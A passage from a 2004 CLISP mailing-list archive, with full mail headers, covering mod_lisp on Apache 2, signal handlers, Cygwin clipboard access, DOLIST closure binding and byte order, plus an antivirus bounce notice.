SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 17:54:17 2004 X-Original-Date: Wed, 3 Nov 2004 02:45:26 +0100 On Tuesday 02 November 2004 19:51, Edi Weitz wrote: > On Tue, 2 Nov 2004 19:03:52 +0100, Michael Koehne wrote: > > I dislike the Apache/mod_XXX approach, if handling a large > > amount of concurrent users. Given a 100MIPS/64MB system > > Apache/mod_perl/SSL drains down to 1.5 transactions per second, > > using a null database. > > What exactly did you do in each request? I've done tests with > Apache/mod_lisp/CMUCL which were a /lot/ faster than that. > > Edi. > An other question more or less to the topic: Has anybody heard of a port of mod_lisp to apache2? I'd really like to give mod_lisp a try, but not in the old apache. As a beginner in apache-administration I don't want to mess around with the old version... Thanks for your help, Christoph From edi@agharta.de Tue Nov 02 22:16:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPERW-0004GF-DN for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 22:16:26 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CPERU-0005n6-Bm for clisp-list@lists.sourceforge.net; Tue, 02 Nov 2004 22:16:25 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id 10FC22CC0D6; Wed, 3 Nov 2004 07:16:21 +0100 (CET) To: Christoph Steinemann Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] newb from j2ee References: <20041102142553.21347.qmail@web10704.mail.yahoo.com> <20041102180352.GA535@bakunin.copyleft.de> <200411030245.27268.clisp@elmiura.ch> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <200411030245.27268.clisp@elmiura.ch> (Christoph Steinemann's message of "Wed, 3 Nov 2004 02:45:26 +0100") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 2 22:27:45 2004 X-Original-Date: Wed, 03 Nov 2004 07:16:21 +0100 On Wed, 3 Nov 2004 02:45:26 +0100, Christoph Steinemann wrote: > An other question more or less to the topic: Has anybody heard of a > port of mod_lisp to apache2? I'd really like to give mod_lisp a try, > but not in the old apache. As a beginner in apache-administration I > don't want to mess around with the old version... From Joerg-Cyril.Hoehle@t-systems.com Wed Nov 03 05:10:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPKts-0002Ky-OC for clisp-list@lists.sourceforge.net; Wed, 03 Nov 2004 05:10:08 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CPKtr-0002T3-O8 for clisp-list@lists.sourceforge.net; Wed, 03 Nov 2004 05:10:08 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Wed, 3 Nov 2004 14:07:37 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Nov 2004 14:07:50 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03020E9193@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: Re: [clisp-list] linux:signal handling examples MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 3 05:18:48 2004 X-Original-Date: Wed, 3 Nov 2004 14:07:42 +0100 Hi, >>In wrap.lisp, there's a signal handling example where the >>test-handler uses format to prints a message. >I can't look at the source for now, but this should be deleted. I think it's unfortunate that Peter Wood's examples got included = verbatim and without comments in CVS. I just didn't notice that. As an afterthought I think the API functions may remain in linux.lisp, = but should use C-POINTER declarations where C-FUNCTION is used. This is = to prevent conversion of a Lisp function to a signal handler, which = does not work. The call-out definition may remain because a user may well use it to = install a *foreign* signal handler (which must not callback into Lisp) = s/he got from somewhere (although I hate those packages which provide = lots of API functions -- they are generally neither tested nor useful). I wrote on 21st of March 2003 (a year later than Peter) >Although Peter Wood demo'ed one on 8th of March 2002, a signal handler = in Lisp is >completely unreliable and may crash at any GC or cause other trouble. It remembers me when Gilbert Baumann demo'ed a threading CLISP (sort of = a REPL server) around 1998 and wrote something like "it -- of course -- = crashes at the first GC". :-) Regards, J=F6rg H=F6hle. From sds@gnu.org Wed Nov 03 12:28:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPRjv-0004Ms-GC for clisp-list@lists.sourceforge.net; Wed, 03 Nov 2004 12:28:19 -0800 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CPRju-0005wu-Tl for clisp-list@lists.sourceforge.net; Wed, 03 Nov 2004 12:28:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iA3KSA6u002255; Wed, 3 Nov 2004 15:28:10 -0500 (EST) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041030195303.98392.qmail@web52203.mail.yahoo.com> (Elvin Peterson's message of "Sat, 30 Oct 2004 12:53:03 -0700 (PDT)") References: <4129412A.E9993BC3@ieee.org> <20041030195303.98392.qmail@web52203.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clipboard using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 3 12:34:53 2004 X-Original-Date: Wed, 03 Nov 2004 15:28:10 -0500 > * Elvin Peterson [2004-10-30 12:53:03 -0700]: > > There is a cygwin specific solution with the /dev/* > class of files. I am able to use this from C, so why > doesn't it work from clisp, which is written in C? that's because CLISP checks all directories in the path. WFM: $ ./clisp -q -norc -x '(with-open-file (s "/dev/clipboard") (read-line s))' *** - nonexistent directory: #P"/dev/" $ mkdir /dev/ $ ./clisp -q -norc -x '(with-open-file (s "/dev/clipboard") (read-line s))' "(with-open-file (s \"/dev/clipboard\") (read-line s))" ; T -- Sam Steingold (http://www.podval.org/~sds) running w2k Murphy's Law was probably named after the wrong guy. From MAILsweeper@hibernian.ie Thu Nov 04 03:20:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPff4-0002a0-PK for clisp-list@lists.sourceforge.net; Thu, 04 Nov 2004 03:20:14 -0800 Received: from ml.hibernian.ie ([62.200.217.234] helo=iehibcms.iehibdom.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CPff2-0005hY-O9 for clisp-list@lists.sourceforge.net; Thu, 04 Nov 2004 03:20:14 -0800 From: MAILsweeper@hibernian.ie To: clisp-list@lists.sourceforge.net, fiona.quinn@hibernian.ie MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Message-ID: X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.3 PLING_PLING Subject has lots of exclamation marks Subject: [clisp-list] Mail sent to Hibernian has a virus !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 4 03:31:31 2004 X-Original-Date: Thu, 4 Nov 2004 11:21:22 +0000 (GMT) Mail sent to Hibernian was received with a computer virus infected attachment. The mail has been intercepted and did not reach the intended recipient. Sender please remove the virus from the message and resend the mail. From: clisp-list@lists.sourceforge.net To: fiona.quinn@hibernian.ie Subject: Re: Encrypted Mail Virus: Scenarios/Incoming/Content Scanner: Threat: 'W32/Netsky-P' detected by 'Sophos AV Interface for MIMEsweeper'. Scenarios/Incoming/Content Scanner: Threat: 'W32/Netsky-P' detected by 'Sophos AV Interface for MIMEsweeper'. Scenarios/Incoming/Restrict Attachments In: 'ItemLength.GE.0'. was blocked at Thu, 4 Nov 2004 11:22:39 +0000 From sds@gnu.org Thu Nov 04 12:40:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CPoP5-00042C-S8 for clisp-list@lists.sourceforge.net; Thu, 04 Nov 2004 12:40:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CPoOz-0002Wc-9B for clisp-list@lists.sourceforge.net; Thu, 04 Nov 2004 12:40:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iA4Ke07e028071; Thu, 4 Nov 2004 15:40:00 -0500 (EST) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041030195303.98392.qmail@web52203.mail.yahoo.com> (Elvin Peterson's message of "Sat, 30 Oct 2004 12:53:03 -0700 (PDT)") References: <4129412A.E9993BC3@ieee.org> <20041030195303.98392.qmail@web52203.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clipboard using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 4 12:47:08 2004 X-Original-Date: Thu, 04 Nov 2004 15:40:00 -0500 > * Elvin Peterson [2004-10-30 12:53:03 -0700]: > > There is no directory named /dev, but fopen calls to > /dev/clipboard succeeds in cygwin with gcc. -- Sam Steingold (http://www.podval.org/~sds) running w2k The paperless office will become a reality soon after the paperless toilet. From joostkremers@yahoo.com Fri Nov 05 14:34:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQCeZ-0006vV-HB for clisp-list@lists.sourceforge.net; Fri, 05 Nov 2004 14:33:55 -0800 Received: from web40525.mail.yahoo.com ([66.218.92.45]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CQCeV-0001NJ-95 for clisp-list@lists.sourceforge.net; Fri, 05 Nov 2004 14:33:55 -0800 Received: (qmail 42627 invoked by uid 60001); 5 Nov 2004 22:33:46 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=Wfcm4rkZs0VwUQGyzwJGQ7iiuVMCq4oWrWoqOlvtkiUj4EWBqIMy9TldATvSxCMrPZr0FyiZDzJwCy7JY7h0Z664FfuxY+8DsiYE0NhYGysZvjqi4y3GCL4LHKzdm543XV1acFhNMw95yA+XKRBQABl5ro9Vzu8UwyIYe/aNkgc= ; Message-ID: <20041105223346.42625.qmail@web40525.mail.yahoo.com> Received: from [80.128.247.135] by web40525.mail.yahoo.com via HTTP; Fri, 05 Nov 2004 14:33:46 PST From: Joost Kremers To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] is this a bug in sbcl or in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 5 14:38:39 2004 X-Original-Date: Fri, 5 Nov 2004 14:33:46 -0800 (PST) hi list, while writing a small program that uses ltk to create a simple GUI, i ran into the following code that works on SBCL but doesn't on CLisp: (dolist (key '(1 2 3 4 5 6 7 8 9 0)) (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) (key-press key)))) i'm simply trying to avoid writing this 10 times: (bind *tk* "1" (lambda (e) (declare (ignore e)) (key-press 1))) with the 1's appropriately replaced by 2, 3, etc., of course. like i said, the code works as i expect it would on SBCL, i.e., it creates a binding for the key "1" to (key-press 1), for "2" to (key-press 2), etc. but it doesn't on CLisp. i did some experimenting: (dolist (key '(1 2 3 4 5 6 7 8 9 0)) (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) (princ key)))) replacing the call to KEY-PRESS to PRINC, so that i can see what is actually happening. now, every time i press any of the number keys, a zero is printed on stdout. if i change the list to e.g. '(0 1 2 3 4 5 6 7 8 9), pressing any number key results in a 9 to be printed to stdout. IOW the code creates a binding for each of the number keys to (key-press 0), or (key-press 9), depending on whatever the last element of the list is. BTW, doing the same with mapcar works ok: (mapcar #'(lambda (key) (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) (key-press key)))) '(0 1 2 3 4 5 6 7 8 9)) so is this a bug in CLisp's DOLIST, or is there something else going on? TIA joost FYI: joost@teuctli:~/programs/nos-tt $ clisp --version GNU CLISP 2.33.2 (2004-06-02) (built 3301301325) (memory 3301301683) joost@teuctli:~ $ uname -rsmo Linux 2.4.22-ben2 ppc GNU/Linux __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From sharris@alarismed.com Fri Nov 05 15:32:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQDZM-0003Sf-Oc for clisp-list@lists.sourceforge.net; Fri, 05 Nov 2004 15:32:36 -0800 Received: from [204.193.55.129] (helo=W003275.na.alarismed.com) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1CQDZL-0006NK-RQ for clisp-list@lists.sourceforge.net; Fri, 05 Nov 2004 15:32:36 -0800 Received: from sharris by W003275.na.alarismed.com with local (Exim 4.43) id I6QC1Z-0000G8-JY for clisp-list@lists.sourceforge.net; Fri, 05 Nov 2004 15:32:23 -0800 To: clisp-list@lists.sourceforge.net References: <20041105223346.42625.qmail@web40525.mail.yahoo.com> From: Steven Elliot Harris Organization: SEH Labs Mail-Followup-To: clisp-list@lists.sourceforge.net In-Reply-To: <20041105223346.42625.qmail@web40525.mail.yahoo.com> (Joost Kremers's message of "Fri, 5 Nov 2004 14:33:46 -0800 (PST)") Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED Subject: [clisp-list] Re: is this a bug in sbcl or in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 5 15:38:09 2004 X-Original-Date: Fri, 05 Nov 2004 15:32:23 -0800 Joost Kremers writes: > so is this a bug in CLisp's DOLIST, or is there something else going > on? This sounds like it's related to the discussion in this thread¹ from a couple of years ago entitled "Midfunction Recursion." I asked several questions in that thread, and rereading it now I can say my grasp of it has only marginally improved. One of Tim Bradshaw's replies² best matches and enhances my current understanding, while several other replies seem to assert the inverse explanation. Perhaps I had lost track of what we were arguing about. In any case, I'll try to address your example. With CLISP, dolist establishes one binding for key and assigns it on each iteration. (let ((r)) (dolist (key '(1 2 3 4 5) r) (push #'(lambda () (format t "~A" key)) r))) (LET ((R)) (BLOCK NIL (LET* ((#:G23090 '(1 2 3 4 5)) (KEY NIL)) (DECLARE (LIST #:G23090)) (TAGBODY #:G23091 (IF (ENDP #:G23090) (GO #:G23092)) (SETQ KEY (CAR #:G23090)) (SETQ R (CONS #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (FORMAT T "~A" KEY)))) (FORMAT T "~A" KEY)) R)) (SETQ #:G23090 (CDR #:G23090)) (GO #:G23091) #:G23092 (RETURN-FROM NIL (LET ((KEY NIL)) (DECLARE (IGNORABLE KEY)) R)))))) You can see this more easily in the macroexpansion for a similar DO form (Erik Naggum's example): (do ((i 1 (1+ i)) (foo () (cons (lambda () i) foo))) ((= i 5) foo)) (BLOCK NIL (LET ((I 1) (FOO NIL)) (TAGBODY #:G23080 (IF (= I 5) (GO #:G23081)) (PSETQ I (1+ I) FOO (CONS #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL I))) I) FOO)) (GO #:G23080) #:G23081 (RETURN-FROM NIL FOO)))) It looks like CLISP implements DOLIST in terms of DO and, according to the Hyperspec, DO is guaranteed to use assignment to a single binding: At the beginning of each iteration other than the first, vars are updated as follows. All the step-forms, if supplied, are evaluated, from left to right, and the resulting values are assigned to the respective vars. Note that on DOLIST the HyperSpec says³: It is implementation-dependent whether dolist establishes a new binding of var on each iteration or whether it establishes a binding for var once at the beginning and then assigns it on any subsequent iterations. That lets both CLISP and SBCL off the hook. Footnotes: ¹ http://groups.google.com/groups?threadm=3244459363713506%40naggum.no ² http://groups.google.com/groups?threadm=ey3adl3btrn.fsf%40cley.com ³ http://www.lispworks.com/reference/HyperSpec/Body/m_dolist.htm -- Steven E. Harris From pascal@naiad.informatimago.com Sat Nov 06 13:05:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQXkJ-00083n-P3 for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 13:05:15 -0800 Received: from 76.informatimago.com ([62.93.174.76] helo=naiad.informatimago.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CQXk7-0007Qr-Gr for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 13:05:15 -0800 Received: by naiad.informatimago.com (Postfix, from userid 1000) id 0D6BF1DCFC0; Sat, 6 Nov 2004 22:03:57 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] byte sex Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 6 13:11:13 2004 X-Original-Date: Sat, 6 Nov 2004 22:03:57 +0100 (CET) Is there a way to specify the byte sex of signed-byte and unsigned-byte data? It seems that clisp always swap bytes, which is wrong of course (on linux/ppc which is big-endian). But anyways, file format should not be dependant on the processor, so there should be a mean to specify the endianness with :EXTERNAL-FORMAT. --=20 __Pascal Bourguignon__ From sds@gnu.org Sat Nov 06 14:34:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQZ8W-0000C3-Sz for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 14:34:20 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CQZ8K-00054J-QI for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 14:34:20 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157]:2368 helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 4.42 #5) id 1CQZ8J-00007y-Ju; Sat, 06 Nov 2004 17:34:07 -0500 To: clisp-list@lists.sourceforge.net, Joost Kremers Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041105223346.42625.qmail@web40525.mail.yahoo.com> (Joost Kremers's message of "Fri, 5 Nov 2004 14:33:46 -0800 (PST)") References: <20041105223346.42625.qmail@web40525.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Joost Kremers Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: is this a bug in sbcl or in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 6 14:40:15 2004 X-Original-Date: Sat, 06 Nov 2004 17:34:07 -0500 > * Joost Kremers [2004-11-05 14:33:46 -0800]: > > while writing a small program that uses ltk to create a simple GUI, i > ran into the following code that works on SBCL but doesn't on CLisp: > > (dolist (key '(1 2 3 4 5 6 7 8 9 0)) > (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) > (key-press key)))) try (dolist (k '(1 2 3 4 5 6 7 8 9 0)) (let ((key k)) (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) (key-press key))))) you want the variable the 